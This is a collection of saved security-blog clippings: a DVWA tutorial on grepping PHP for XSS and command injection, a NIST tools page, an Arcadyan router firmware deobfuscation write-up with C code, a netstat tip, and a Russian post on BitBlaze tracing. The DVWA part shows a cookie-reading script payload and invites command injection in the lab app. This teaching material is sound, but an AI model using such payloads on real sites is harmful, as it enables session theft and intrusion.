“\$\_GET” \*_

We have used the following options; ‘-i’ to ignore case sensitivity and ‘-r’
to be recursive by searching for files within sub directories. Our regular
expression which will attempt to match the PHP $\_GET superglobal variable is
“\$\_GET”. We first enclose the regular expression in double quotes, we escape
the dollar symbol with a forward slash as the dollar symbol has special
significance in regular expressions. Then we give it the keyword to search
for, ‘$\_GET’. We finish off with a wildcard symbol \(\*\) to tell grep to
search within all files it comes across.

<img src='img/Temp2_3180.png' />  
As you can see we have many results from our simple grep command, let us try and be more specific to narrow down the potential possibilities. In PHP, output is normally handled by the ‘echo’ construct. Let’s see what happens if we search for user supplied input which is then directly output within the page without first being sanitised. To do this we will try the following command: grep -i -r “\$\_GET” \* | grep “echo”
Our new command will search through our original results looking for the
“echo” keyword.

<img src='img/Temp2_3184.png' />

In this instance no results were found. Let’s take another look at our
original results more closely to try to identify why this is the case.

<img src='img/Temp2_3180.png' />

The following line within our results looks as though it may be outputting
data.

<img src='img/Temp2_3198.png' />

It looks as though the GET HTTP request with the name of ‘name’ is being
appended to a variable called ‘$html’. Let’s try and find out where the
variable was originally set or where it ends up. To do this we will take a
look at the server side source code of the
‘/opt/lampp/htdocs/vulnerabilities/xss\_r/source/low.php’ file with the
following command: cat vulnerabilities/xss\_r/source/low.php

<img src='img/Temp2_3193.png' />  
By reading the low.php file we get a better understanding of what it does. We
can see that the only check in place is whether or not the $\_GET\['name'\]
variable is empty or null before it gets put into another variable called
$html. All user supplied input should be sanitized or encoded to help prevent
XSS vulnerabilities We can now safely assume that the $html variable is output
to the browser at some point due to its name and contents. However if the
$html variable is properly sanitized or encoded where it is output we may not
have found a valid XSS vulnerability.

To find where the $html variable is output to the user let’s do some further
investigation. As we can see, the low.php file is in the
‘vulnerabilities/xss\_r/source’ directory. Let’s see what else is in the same
directory with the following command: ls vulnerabilities/xss\_r/source

<img src='img/Temp2_3185.png' />

As you can see from the output of our command, we have three files, high.php,
medium.php and low.php. Let’s take a look at the contents of a file within the
same directory, maybe they yield some clues as to where the $html variable is
output. We will issue the following command: cat
vulnerabilities/xss\_r/source/medium.php

<img src='img/Temp2_3189.png' />

The medium.php file looks almost exactly the same as the low.php file. However
the medium.php file does some basic input sanitization by replacing the
‘<script>’ string with nothing in the$\_GET\['name'\] input variable. There
could be some possible XSS here too, however this is still using the $html
variable to output the data to the user. We still need to find where the $html
variable is output in order to verify the XSS vulnerability. Let’s look in the
parent directory for some clues by issuing the following command: ls
vulnerabilities/xss\_r/

<img src='img/Temp2_3194.png' />

The index.php file looks interesting, let’s take a look at its server side
source code by issuing the following command: cat
vulnerabilities/xss\_r/index.php

<img src='img/Temp2_3197.png' />

Bingo\! By reading through the file we notice the $html variable is present\!
Issue the following command to view the index.php files contents with line
numbers: cat -b vulnerabilities/xss\_r/index.php

<img src='img/Temp2_3181.png' />

And there we have it, at line 47\!

<img src='img/Temp2_3199.png' />  
The user supplied input which comes from $\_GET\['name'\] in the low.php file
is output via the $html variable within the index.php file. Both input and
output is left unsanitized or unencoded. There is only one way to be 100%
certain that we have an XSS vulnerability, and that is to exploit it.

Let’s open up the web application in a browser and login with the username,
‘admin’ and password ‘password’.

<img src='img/Temp2_3196.png' />

Once logged in, navigate to the ‘DVWA Security’ tab on the left hand menu.
From here change the ‘vulnerability level of DVWA’ to ‘low’ and hit the submit
button. NOTE: From our grepping we noted that our input was in the ‘low.php’
file. For each vulnerability in DVWA there are three different levels of
security which determines the vulnerabilities exploitability. By changing the
vulnerability level of DVWA to low we are making the application as vulnerable
as possible.

<img src='img/Temp2_3182.png' />  
Now the security level has been changed to low let’s navigate to the XSS
reflected page by clicking on the ‘XSS reflected’ button on the left hand
menu.

<img src='img/Temp2_3183.png' />

To quickly verify that user supplied input or output is not sanitized or
encoded we can use the <blink> html tag. Let’s input the following as our
name: <blink>I am vulnerable\!</blink>

<img src='img/Temp2_3190.png' />

As you can see our <blink> HTML tag has been output to the user without being
sanitized or encoded. We can now confirm that we have HTML injection, but what
about XSS?

Let’s try inputting the following as our name:
<script>document.write\(document.cookie\);</script>

<img src='img/Temp2_3188.png' />

As you can see from the above screenshot we have successfully executed
JavaScript by inputting it into the web application and having it output back
to us without first being sanitized or encoded. Ladies and gents, we have
XSS\!

For further reading on the subject of Cross-Site Scripting \(XSS\) please see
the provided links within DVWA under the ‘More info’ title.

**Grepping for Command Injection  
**  
For a brief description of Command Injection I will use the one from the Open
Web Application Security Project \(OWASP\), “The purpose of the command
injection attack is to inject and execute commands specified by the attacker
in the vulnerable application.”  _\(Command Injection,
http://www.owasp.org/index.php/Command\_Injection\)  
_  
Within PHP there are a few different functions which will facilitate the
execution of commands on the underlying operating system. If unsanitized user
supplied input is used within one of these functions it may be possible to
inject our own commands on the operating system. We will try our luck and
search for the exec\(\) PHP function with the following command: grep -i -r
“exec\(” \*_  
_  
<img src='img/Temp2_3186.png' />  
Our grep command seems to have given us a lot of results. Let’s refine our
grep command a little to be more specific. It looks as though the developers
of DVWA have left the ‘.svn’ hidden directory within the application. There
also seems to be an Intrusion Detection System \(IDS\) within the ‘external’
directory. Both of these folders are giving us a lot of output which look like
false positives. We will use grep to exclude both the ‘.svn’ directory and
‘external’ directory to refine our search with the following command: grep -i
-r –exclude-dir=\{.svn,external\} “exec\(” \*

<img src='img/Temp2_3195.png' />

That’s better. We now have fewer, more refined results by using the ‘–exclude-
dir’ grep flag to exclude both the ‘.svn’ and ‘external’ directories. By
looking at the results, the following line looks promising based on the
directory structure \(similar to the XSS one\) and the fact that there is no
sanitization on the ‘$target’ variable:

<img src='img/Temp2_3192.png' />

Let’s take a look at the ‘vulnerabilities/exec/source/low.php’ file by issuing
the following command: cat -b vulnerabilities/exec/source/low.php

<img src='img/Temp2_3187.png' />

We can see from the file contents that the ‘$target’ variable accepts user
supplied input on line 5. It is then placed straight into the
‘shell\_exec\(\)’ PHP function on lines 10 and 15 depending on the operating
system the script is run on. Here we have user supplied input being put
straight into a function that executes operating system commands. Bad idea.

To verify whether or not the above is actually exploitable, fire up DVWA and
take a look at the ‘Command Execution’ page. Can you successfully execute
commands on the operating system to determine the version of MySQL in use?
Give it a try\!

**Conclusion  
**  
By reading through this article and following along with the help of DVWA, I
hope I have shown you other techniques and tools you can use when securing
your web applications.

We have barely scratched the surface of the power of grep. There are many more
flags within grep that can help you in searching for vulnerabilities. Read the
help and manual to see how powerful the tool really is.

For further grep vulnerability finding commands please see my original post on
the subject located on my personal blog:
http://www.ethicalhack3r.co.uk/security/greping-for-bugs-in-php/

For a great open source Windows tool to help with manual source code review
please see Agnitio by David Rook which can be downloaded from:
http://sourceforge.net/projects/agnitiotool/

And for an automated open source PHP source code review tool I recommend RIPS
which can be downloaded from: http://sourceforge.net/projects/rips-scanner/

**Share and Enjoy:**

  * <img src='img/Temp2_3176.png' alt='Twitter' />
  *   * <img src='img/Temp2_3176.png' alt='Digg' />
  *   * <img src='img/Temp2_3176.png' alt='del.icio.us' />
  *   * <img src='img/Temp2_3176.png' alt='Facebook' />
  *   * <img src='img/Temp2_3176.png' alt='Print' />

## You may also be interested in:

  * CISSP Domain – Cryptography and Security
  * CISSP Domain – Legal, Regulations, Investigations and Compliance
  * Backtrack Essentials
  * An Introduction to Fuzzing: Using fuzzers \(SPIKE\) to find vulnerabilities
  * CISSP Domain – Telecommunications and Network Security

# systemc\_quickreference.pdf \(application/pdf-Objekt\)

**Created:**| _10/25/2010 9:46:01 AM_  
---|---  
**Updated:**| _10/25/2010 9:18:19 PM_  
**Author:**| _wishi_  
**Tags:**| _C++ mobile/embedded programming model-checking_  
  

# NIST.gov - Computer Security Division - Computer Security Resource Center

**Created:**| _10/28/2009 12:57:21 PM_  
---|---  
**Updated:**| _10/28/2009 12:57:28 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# SUPPORT TOOLS

This section of the project website provides support tools and applications
for the FISMA-related security standards and guidelines developed by NIST and
federal agencies under the OMB Line of Business Initiative.

## FISMA Management And Reporting Tools

**OMB Security Line of Business Solutions**

Environmental Protection Agency

    Automated System Security Evaluation and Remediation Tracking System \(ASSERT\)
Department of Justice

    Cyber Security Asset and Management \(CSAM\) Tool Kit
**Database Application for NIST Special Publication 800-53**

The NIST **Special Publication 800-53 Revision 3 Reference Database
Application** can be downloaded and contains the catalog of security controls
from Appendix F and G of SP 800-53  _Recommended Security Controls for Federal
Information Systems and Organizations_. The database application has been
developed primarily to help customers quickly and efficiently:

  * Browse the security controls, control enhancements, and supplemental guidance, including summarizing by control class, control family and control impact baseline;
  * Search the security control catalog using user-specified keywords; and
  * Export the security control-related information in the database application to other popular data formats \(e.g., .dbf, .xls, .htm, .xml, .csv\) that can be used in various tools and applications. The information in the database is read only and can be viewed or extracted, but cannot be updated or modified using this application. .

# Reverse engineering an obfuscated firmware image E01 – unpacking «
.braindump – RE and stuff

**Created:**| _9/8/2011 3:50:25 PM_  
---|---  
**Updated:**| _9/8/2011 3:50:25 PM_  
**Author:**| __  
**Tags:**| _reversing Firmware_  
  

### Reverse engineering an obfuscated firmware image E01 – unpacking

Filed under: Uncategorized — Stefan @ 10:38 am  
Tags: arcadyan, arcor, fdd, mips, re  

When reverse engineering Linux-based firmware images the following methodology
usually works pretty well:

  1. use Binwalk to identify different parts of a firmware image by their magic signatures
  2. use dd to split the firmware image apart
  3. unpack parts / mount/extract the filesystem\(s\)
  4. find interesting config files/binaries
  5. load ELF binaries into your favorite disassembler
  6. start looking at beautiful MIPS/ARM/PPC ASM

This approach unfortunately didn’t work when I looked at firmware images for a
broadband router called ‘EasyBox 803′ distributed by Vodafone Germany
\(formerly Arcor\). Apart from two LZMA-packed segments containing information
irrelevant for my research didn’t find anything useful in the firmware image
at first.  
As I had to confirm a major vulnerability \(default WPA keys based on
ESSID/BSSID \[1\]\[2\]\) I didn’t give up at this point. But let’s start right
at the beginning …

<img src='img/Temp2_6945.png' width='577' height='368' />

I obtained a firmware update file for the EasyBox 803 from Vodafone’s support
page. A Google search reveals the following:

  * the device is manufactured by Astoria Networks, which is the German subsidiary of the Taiwanese company Arcadyan
  * there are tools available for unpacking Arcadyan firmware \(SP700EX, arcadyan\_dec\)
  * Arcadyan uses obfuscation \(xor, swapping bits/bytes/blocks\) to thwart analysis of their firmware files
  * Arcadyan devices don’t run Linux, instead they have their own proprietary OS
  * MIPS big endian is their preferred architecture

I tried to unpack the firmware file with the tools I found, but although they
can deobfuscate the firmware of other Arcadyan devices, they could not do the
same for mine. Nevertheless the tools helped me in understanding the layout of
my firmware image. It basically consists of several sections which are
concatenated. From a high-level view a section looks like this:

<img src='img/Temp2_6943.png' width='600' height='202' alt='arcadyan section
layout info' />

[code]

    (relevant words marked with '||')
    beginning of section:
    00000000h:|32 54 76 98|11 AF 99 D3 AC FF EA 6C 43 62 39 C8 ; 2Tv˜.¯™Ó¬ÿêlCb9È
    ...
    end of data:
    001e83a0h: 0C D8 A3 4A|CD AB 89 67|EE 50 66 2C 53 00 15 93 ; .Ø£JÍ«‰gîPf,S..“
    ...
    end of section:
    001e83e0h: 0A 01 EF 8A 73 58 DE 85 00 00 00 00|FF FF FF FF|; ..ïŠsXÞ…....ÿÿÿÿ
    001e83f0h:|FF FF FF FF|A4 83 1E 00|78 56 34 12|5E E2 53 5F|; ÿÿÿÿ¤ƒ..xV4.^âS_
    beginning of next section:
    001e8400h:|32 54 76 98|82 FF 4D 9D CF 6A 95 5E B0 5C 96 7F ; 2Tv˜‚ÿM�Ïj•^°\–
    ...
[/code]

After I miserably failed at recognizing the obfuscation method just by looking
at the hexdump I had to move on. I suspected that the deobfuscation is handled
by the bootloader itself, so that was the next thing I wanted to look at.
Luckily Vodafone had to update the bootloader for Easybox 802 \(predecessor to
EasyBox 803\) to enable some random functionality and kindly provided a copy,
otherwise dumping the flash would have been necessary.

<img src='img/Temp2_6946.png' width='782' height='181' />

**unzip\_fw** looks like this:

<img src='img/Temp2_6944.png' width='815' height='862' />

As the deobfuscation and LZMA unpacking is indeed handled by the bootloader, I
reversed and reimplemented their fancy deobfuscation routine
\(**deobfuscate\_ZIP3**\):

[code]

    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>
    
    //xor chars in str with xorchar
    void xor(unsigned char* bytes, int len, char xorchar) {
    	int i;
    
    	for (i = 0; i < len; i++) {
    		bytes[i] = bytes[i] ^ xorchar;
    	}
    }
    
    //swap high and low bits in bytes in str
    //0x12345678 -> 0x21436578
    void hilobswap(unsigned char* bytes, int len) {
    	int i;
    
    	for (i = 0; i < len; i++) {
    		bytes[i] = (bytes[i] << 4) + (bytes[i] >> 4);
    	}
    }
    
    //swap byte[i] with byte[i+1]
    //0x12345678 -> 0x34127856
    void wswap(unsigned char* bytes, int len) {
    	int i;
    	unsigned char tmp;
    
    	for (i = 0; i < len; i += 2) {
    		tmp = bytes[i];
    		bytes[i] = bytes[i + 1];
    		bytes[i + 1] = tmp;
    	}
    }
    
    int main(int argc, char *argv[]) {
    	unsigned char* buffer;
    	unsigned char* tmpbuffer[0x400];
    	size_t insize;
    	FILE *infile, *outfile;
    
    	if (argc != 3) {
    		printf("usage: easybox_deobfuscate infile outfile.bin.lzma\n");
    		return -1;
    	}
    
    	//read obfuscated file
    	infile = fopen(argv[1], "rb");
    
    	if (infile == NULL) {
    		fputs("cant open infile", stderr);
    		return -1;
    	}
    
    	fseek(infile, 0, SEEK_END);
    	insize = ftell(infile);
    	rewind(infile);
    
    	buffer = (unsigned char*) malloc(insize);
    	if (buffer == NULL) {
    		fputs("memory error", stderr);
    		exit(2);
    	}
    
    	printf("read \t%i bytes\n", fread(buffer, 1, insize, infile));
    	fclose(infile);
    
    	printf("descrambling file ...\n");
    	//xor HITECH
    	xor(buffer + 0x404, 0x400, 0x48);
    	xor(buffer + 0x804, 0x400, 0x49);
    	xor(buffer + 0x4, 0x400, 0x54);
    	xor(buffer + 0x404, 0x400, 0x45);
    	xor(buffer + 0x804, 0x400, 0x43);
    	xor(buffer + 0xC04, 0x400, 0x48);
    
    	//swap 0x4 0x404
    	memcpy(tmpbuffer, buffer + 0x4, 0x400);
    	memcpy(buffer + 0x4, buffer + 0x404, 0x400);
    	memcpy(buffer + 0x404, tmpbuffer, 0x400);
    
    	//xor NET
    	xor(buffer + 0x4, 0x400, 0x4E);
    	xor(buffer + 0x404, 0x400, 0x45);
    	xor(buffer + 0x804, 0x400, 0x54);
    
    	//swap 0x4 0x804
    	memcpy(tmpbuffer, buffer + 0x4, 0x400);
    	memcpy(buffer + 0x4, buffer + 0x804, 0x400);
    	memcpy(buffer + 0x804, tmpbuffer, 0x400);
    
    	//xor BRN
    	xor(buffer + 0x4, 0x400, 0x42);
    	xor(buffer + 0x404, 0x400, 0x52);
    	xor(buffer + 0x804, 0x400, 0x4E);
    
    	//fix header #1
    	memcpy(tmpbuffer, buffer + 0x4, 0x20);
    	memcpy(buffer + 0x4, buffer + 0x68, 0x20);
    	memcpy(buffer + 0x68, tmpbuffer, 0x20);
    
    	//fix header #2
    	hilobswap(buffer + 0x4, 0x20);
    	wswap(buffer + 0x4, 0x20);
    
    	//write deobfuscated file
    	outfile = fopen(argv[2], "wb");
    
    	if (outfile == NULL) {
    		fputs("cant open outfile", stderr);
    		return -1;
    	}
    
    	printf("wrote \t%i bytes\n", fwrite(buffer + 4, 1, insize - 4, outfile));
    	fclose(outfile);
    
    	printf("all done! - use lzma to unpack");
    
    	return 0;
    }
    
[/code]

You can see that it would have been impossible to understand how the
obfuscation works without looking at the actual assembly. Luckily this routine
also works for EasyBox 803.

Let’s unpack first segment, which is the biggest one and therefore most likely
to contain code.

[code]

    >fdd if=dsl_803_752DPW_FW_30.05.211.bin of=dsl_803_s1_obfuscated count=0x1e83a4
    count   : 0x1e83a4      1999780
    skip    : 0x0   0
    seek    : 0x0   0
    1999780+0 records in
    1999780+0 records out
    1999780 bytes (2.00 MB) copied, 0.009540 s, 199.90 MB/s
    
    >easybox_deobfuscate dsl_803_s1_obfuscated dsl_803_s1.bin.lzma
    read    1999780 bytes
    descrambling file ...
    wrote   1999776 bytes
    all done! - use lzma to unpack
    
    >xz -d dsl_803_s1.bin.lzma
    
    >l dsl_803_s1*
    -rw-r--r--+ 1 stefan None 8.3M  6. Sep 11:27 dsl_803_s1.bin
    -rw-r--r--+ 1 stefan None 2.0M  6. Sep 11:25 dsl_803_s1_obfuscated
    
    dsl_803_s1.bin:
    00000000h: 40 02 60 00 3C 01 00 40 00 41 10 24 40 82 60 00 ; @.`.<..@.A.$@‚`.
    00000010h: 40 80 90 00 40 80 98 00 40 1A 60 00 24 1B FF FE ; @€�.@€˜.@.`.$.ÿþ
    00000020h: 03 5B D0 24 40 9A 60 00 40 80 68 00 40 80 48 00 ; .[Ð$@š`.@€h.@€H.
    00000030h: 40 80 58 00 00 00 00 00 04 11 00 01 00 00 00 00 ; @€X.............
    00000040h: 03 E0 E0 25 8F E9 00 00 03 89 E0 20 00 00 00 00 ; .àà%�é...‰à ....
    00000050h: 00 00 00 00 00 00 00 00 24 04 40 00 24 05 00 10 ; ........$.@.$...
    00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
    00000070h: 3C 06 80 00 00 C4 38 21 00 E5 38 23 BC C1 00 00 ; <.€..Ä8!.å8#¼Á..
    00000080h: 14 C7 FF FE 00 C5 30 21 00 00 00 00 00 00 00 00 ; .Çÿþ.Å0!........
    00000090h: 00 00 00 00 00 00 00 00 24 04 40 00 24 05 00 10 ; ........$.@.$...
    ...
[/code]

Now we can load the file into IDA. This sounds easier than it is, because the
unpacked firmware segment is raw code \(mipsb\) and data without information
about segmentation, like you would have when dealing with a PE or ELF binary.

Continued in E02: Reverse engineering an obfuscated firmware image – analysis
\(“done when it’s done.”\)

Note: Most of this research was conducted several months ago and my findings
were probably not in this particular order. – I think it just makes more sense
presenting it this way.  
Note²: fdd is my silly Python implementation of dd. It takes HEX-offsets and
has bs=1 by default \(and works entirely different than dd\).  
Note³: Make sure to comply with Vodafone’s terms of use.

# \[shell-fu:view-816\]$

**Created:**| _5/19/2009 3:28:45 PM_  
---|---  
**Updated:**| _5/19/2009 3:29:06 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

<img src='img/Temp2_10074.gif' alt='+' />4<img src='img/Temp2_10073.gif'
alt='-' />

Tip \#816 /

# Graph connections to hosts

  
Tags: awk netstat

Save this to del.icio.usDigg this\!Reddit this\!Tweet this\!

The command below will print a ascii art graph of connections from you are
making to different hosts  
  

[code]

    netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c \
     | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print ""}'
    
[/code]

  
You may need to check the output from "netstat -an" to check the host is in
the 5th column, if not change the first "awk" to the right column number.

  

# Bitblaze – будущие безопасности ПО | Alexander Bazhanyuk
**Created:**| _5/19/2011 6:52:01 AM_  
---|---  
**Updated:**| _5/19/2011 6:52:01 AM_  
**Author:**| __  
**Tags:**| __  
  

← Kernel Pool Overflow: от теории к практике

Немного про автоматическое тестирование ПО →

# Bitblaze – будущие безопасности ПО

Posted on March 30, 2011 by virvdova

Это проект института Беркли, который находится в Калифорнии. Сам проект
состоит из большого количества компонент. Те из них, которые доступны для
свободного изучения, – это TEMU,VINE. Из закрытых \(внутренних\) проектов это
Rudder, Panorama, Renovo.

**TEMU**

  
<img src='img/Temp2_1055.png' width='960' height='540' />TEMU – это QEMU +
специальный модуль.

Общая цель TEMU – это трассировщик. В виртуальной машине запускается
приложения и все инструкции выполнения записываются в трасу \(специальный
файл\).  
TEMU работает только на x86. Гостевая операционная система может быть или
Windows XP или любой Linux.  
Для того что бы запустить Windows XP нужно в папку C:\windows\system32\drivers
скопировать драйвер который находится в TEMU в папке testdrv и так же его
зарегистрировать в регистрах с помощью testdrv.reg  
Для Linux нужно заполнить ряд значений в shared/read\_linux.c:

view sourceprint?

`01.``target_ulong kernel_mem_start = 0x80000000;`

`02.`

`03.``target_ulong hookingpoint = 0xc01449b0;`

`04.``target_ulong hookingpoint2 = 0xC014C570;`

`05.``target_ulong taskaddr = 0xC0687340;`

`06.``int` `tasksize = 3212;`

`07.``int` `listoffset = 452;`

`08.``int` `pidoffset = 496;`

`09.``int` `mmoffset = 460;`

`10.``int` `pgdoffset = 36;`

`11.``int` `commoffset = 792;`

`12.``int` `commsize = 16;`

`13.``int` `vmstartoffset = 4;`

`14.``int` `vmendoffset = 8;`

`15.``int` `vmnextoffset = 12;`

`16.``int` `vmfileoffset = 72;`

`17.``int` `dentryoffset = 12;`

`18.``int` `dnameoffset = 28;`

`19.``int` `dinameoffset = 96;`

Для каждого ядра свои значения, их можно узнать с помощью модуля который идет
в комплекте с TEMU: procinfo.  
Теперь немного опишем VINE.

**VINE**

**<img src='img/Temp2_1056.png' width='960' height='540' />**VINE – анализатор
для трас, которые были ранее записаны через TEMU. У него много
функциональности: поиск петель, построение разных графов: Control Flow Graph
\(CFG\), Component-Dependency Graph\(CDG\), Guarded Command Language \(GCL\).
\(к теории графов мы еще вернемся\)  
VINE описывает \(Intermediate Language\) IL code:

<img src='img/Temp2_1057.png' width='960' height='641' />

VINE основан на valgrind библиотеке VEX.

**Ну вот начинаем практиковаться:**

Нужно создать qemu образ, поставить туда ОС \(пусть это будет Windows\) и
проделать все манипуляции установки драйвера.  
Запускаем:  
$sudo ./tracecap/temu -m 256 -net nic,vlan=0 -net tap,vlan=0,script=/etc/qemu-
ifup -monitor stdio winxp.img  
\(qemu\)  
Для манипуляции с гостевой ОС для TEMU есть большое изобилие плагинов. В
публичном доступе только один tracecap  
Что бы его загрузить нужно:

\(qemu\) load\_plugin tracecap/tracecap.so

general/trace\_only\_after\_first\_taint is enabled.  
general/log\_external\_calls is disabled.  
general/write\_ops\_at\_insn\_end is enabled.  
general/save\_state\_at\_trace\_stop is disabled.  
tracing/tracing\_table\_lookup is enabled.  
tracing/tracing\_tainted\_only is disabled.  
tracing/tracing\_single\_thread\_only is disabled.  
tracing/tracing\_kernel is disabled.  
tracing/tracing\_kernel\_tainted is disabled.  
tracing/tracing\_kernel\_partial is disabled.  
network/ignore\_dns is disabled.  
Enabled: 0×00 Proto: 0×00 Sport: 0 Dport: 0 Src: 0.0.0.0 Dst: 0.0.0.0  
Loading plugin options from: SRC\_PATH/tracecap/ini/hook\_plugin.ini  
Loading plugins from: SRC\_PATH/shared/hooks/hook\_plugins  
tracecap/tracecap.so is loaded successfully\!  
\(qemu\)

**Снять трассу с сетевого сервиса:**  
Для того что бы снять трасу с обработки данных через сетевой интерфейс нужно:

\(qemu\) enable\_emulation  
Emulation is now enabled  
\(qemu\) taint\_nic 1”  
\(qemu\) tracebyname “FileZilla server.exe” /traces/file\_zilla

/traces/file\_zilla – путь куда сохранять трасу.

\(Посылаем данные по сети\)

\(qemu\) Time of first tainted data: 1289487729.962905

Остановить трассировку

\(qemu\) trace\_stop

Ну вот и все траса у нас есть.  
**Снять трасу с обработки файла:**

1\) start temu

$ sudo ./tracecap/temu -m 256 -net nic,vlan=0 -net tap,vlan=0,script=/

etc/qemu-ifup -monitor stdio ../../qemu\_images/winxp/winxp.img  
Could not open ‘/dev/kqemu’ – QEMU acceleration layer not activated:  
No such file or directory  
QEMU 0.9.1 monitor – type ‘help’ for more information  
\(qemu\) enable\_emulation  
You have to load a plugin before switching to emulated mode\!

2\) load plugin

\(qemu\) load\_plugin tracecap/tracecap.so

general/trace\_only\_after\_first\_taint is enabled.  
general/log\_external\_calls is disabled.  
general/write\_ops\_at\_insn\_end is enabled.  
general/save\_state\_at\_trace\_stop is disabled.  
tracing/tracing\_table\_lookup is enabled.  
tracing/tracing\_tainted\_only is disabled.  
tracing/tracing\_single\_thread\_only is disabled.  
tracing/tracing\_kernel is disabled.  
tracing/tracing\_kernel\_tainted is disabled.  
tracing/tracing\_kernel\_partial is disabled.  
network/ignore\_dns is disabled.  
Enabled: 0×00 Proto: 0×00 Sport: 0 Dport: 0 Src: 0.0.0.0 Dst: 0.0.0.0  
Loading plugin options from: SRC\_PATH/tracecap/ini/hook\_plugin.ini  
Loading plugins from: SRC\_PATH/shared/hooks/hook\_plugins  
Cannot determine file system type  
Cannot determine file system type  
Cannot determine file system type  
tracecap/tracecap.so is loaded successfully\!  
\(qemu\) enable\_emulation  
Emulation is now enabled

\(qemu\) taint\_file “0914.txt” 1 6543  
Tainting disk 1 file 0914.txt  
4fe8:512\[6543\] 4fe9:512\[6543\] 4fea:512\[6543\] 4feb:512\[6543\] 4fec:  
512\[6543\] 4fed:512\[6543\] 4fee:512\[6543\] 4fef:512\[6543\]
4ff0:512\[6543\]  
4ff1:512\[6543\] 4ff2:512\[6543\] 4ff3:512\[6543\] 4ff4:512\[6543\]  
4ff5:512\[6543\] 4ff6:512\[6543\] 4ff7:512\[6543\] 4ff8:512\[6543\]  
4ff9:512\[6543\]  
4ffa:512\[6543\] 4ffb:512\[6543\] 4ffc:512\[6543\] 4ffd:512\[6543\] 4ffe:  
512\[6543\] 4fff:512\[6543\] 5000:512\[6543\] 5001:512\[6543\]
5002:512\[6543\]  
5003:512\[6543\] 5004:512\[6543\] 5005:512\[6543\] 5006:512\[6543\]  
Tainted file 0914.txt

\(qemu\) tracebyname “notepad.exe” /tmp/trace\_off\_2  
Waiting for process notepad.exe to start

\(запускаем notepad.exe\)

PID: 824 CR3: 0x02b62000  
\(qemu\) Time of first tainted data: 1288638979.718363

\(qemu\) trace\_stop  
Stop tracing process 824  
Number of instructions decoded: 136746300  
Number of operands decoded: 323719221  
Number of instructions written to trace: 118158023  
Number of tainted instructions written to trace: 59297252  
Processing time: 1495.93 U: 1490.86 S: 5.07232  
Generating file: /home/drake/bitblaze/traces/trace\_off\_3.functions  
\(qemu\) disable\_emulation  
Emulation is now disabled  
\(qemu\) unload\_plugin  
tracecap/tracecap.so is unloaded\!  
\(qemu\)

**Формат команды taint\_file:**

taint\_file <имя файла> <номер\_диска> <идентификатор\_для\_трассы>

Траса имеет бинарный формат, для ее преобразования нужно использовать
компоненты VINE:  
_Для преобразования в disasm нужно:_

sudo ./vine-1.0/trace\_utils/./trace\_reader -trace font.trace -fmap
font.trace.functions -flog font.trace.functions.out -funlist
font.trace.list.functions -modlist font.trace.modlist.function >
font.trace.disasm  
где ./trace\_reader – ocaml скрипт который мы запускаем;  
-trace – путь к трасе;  
-fmap – путь к файлу с адресацией функции;  
-flog – результирующий файл с call graph.  
-modlist – результирующий файл – список модулей.  
font.trace.disasm – файл с дизассемблером трасы.  
Пример дизассемблера:

fc32dcec: rep stos %eax,%es:\(%edi\) R@eax\[0x00000000\]\[4\]\(R\) T0
R@ecx\[0x00000002\]\[4\]\(RCW\) T0 M@0xfb7bfff8\[0x00000000\]\[4\]\(CW\) T1
\{15 \(1231, 69624\) \(1231, 69625\) \(1231, 69626\) \(1231, 69627\) \}

fc32dcec: rep stos %eax,%es:\(%edi\) R@eax\[0x00000000\]\[4\]\(R\) T0
R@ecx\[0x00000001\]\[4\]\(RCW\) T0 M@0xfb7bfffc\[0x00000000\]\[4\]\(CW\) T1
\{15 \(1231, 69628\) \(1231, 69629\) \(1231, 69630\) \(1231, 69631\) \}  
fc32dcee: mov %edx,%ecx R@edx\[0x0000015c\]\[4\]\(R\) T0
R@ecx\[0x00000000\]\[4\]\(W\) T0  
fc32dcf0: and $0×3,%ecx I@0×00000000\[0x00000003\]\[1\]\(R\) T0
R@ecx\[0x0000015c\]\[4\]\(RW\) T0  
fc32dcf5: andl $0×0,-0×4\(%ebp\) I@0×00000000\[0x00000000\]\[1\]\(R\) T0
M@0xfb5ae738\[0x00000002\]\[4\]\(RW\) T0  
fc32dcf9: jmp 0x00000000fc32c726 J@0×00000000\[0xffffea2d\]\[4\]\(R\) T0  
fc32c726: cmpl $0×0,-0×58\(%ebp\) I@0×00000000\[0x00000000\]\[1\]\(R\) T0
M@0xfb5ae6e4\[0x00000000\]\[4\]\(R\) T0  
fc32c72a: je 0x00000000fc32c369 J@0×00000000\[0xfffffc3f\]\[4\]\(R\) T0  
fc32c369: mov 0xc\(%ebp\),%eax M@0xfb5ae748\[0x81144e70\]\[4\]\(R\) T0
R@eax\[0x00000000\]\[4\]\(W\) T0  
fc32c36c: xor %edx,%edx R@edx\[0x0000015c\]\[4\]\(R\) T0
R@edx\[0x0000015c\]\[4\]\(RW\) T0  
fc32c36e: cmp %edx,%eax R@edx\[0x00000000\]\[4\]\(R\) T0
R@eax\[0x81144e70\]\[4\]\(R\) T0  
fc32c370: je 0x00000000fc32c3d0 J@0×00000000\[0x00000060\]\[4\]\(R\) T0  
fc32c372: cmp %dl,-0x1d\(%ebp\) R@dl\[0x00000000\]\[1\]\(R\) T0
M@0xfb5ae71f\[0x00000000\]\[1\]\(R\) T0  
fc32c375: jne 0x00000000fc32c3d0 J@0×00000000\[0x0000005b\]\[4\]\(R\) T0  
fc32c377: cmp %dl,-0x1a\(%ebp\) R@dl\[0x00000000\]\[1\]\(R\) T0
M@0xfb5ae722\[0x00000001\]\[1\]\(R\) T0  
fc32c37a: jne 0x00000000fc32c3a7 J@0×00000000\[0x0000002d\]\[4\]\(R\) T0

Формат такой: адрес, сам дизассемблер, значения какие были в данной
инструкции.

T0 – означает что инструкция не тентирована.  
T1 – означает что инструкция тентирована и в фигурных скобках можно посмотреть
что в ней тентировано и от чего зависит.  
Вот например в:  
fc32dcec: rep stos %eax,%es:\(%edi\) R@eax\[0x00000000\]\[4\]\(R\) T0
R@ecx\[0x00000001\]\[4\]\(RCW\) T0 M@0xfb7bfffc\[0x00000000\]\[4\]\(CW\) T1
\{15 \(1231, 69628\) \(1231, 69629\) \(1231, 69630\) \(1231, 69631\) \}  
Видно что тентированно 4 бита информации и они зависят от offset: 69628,
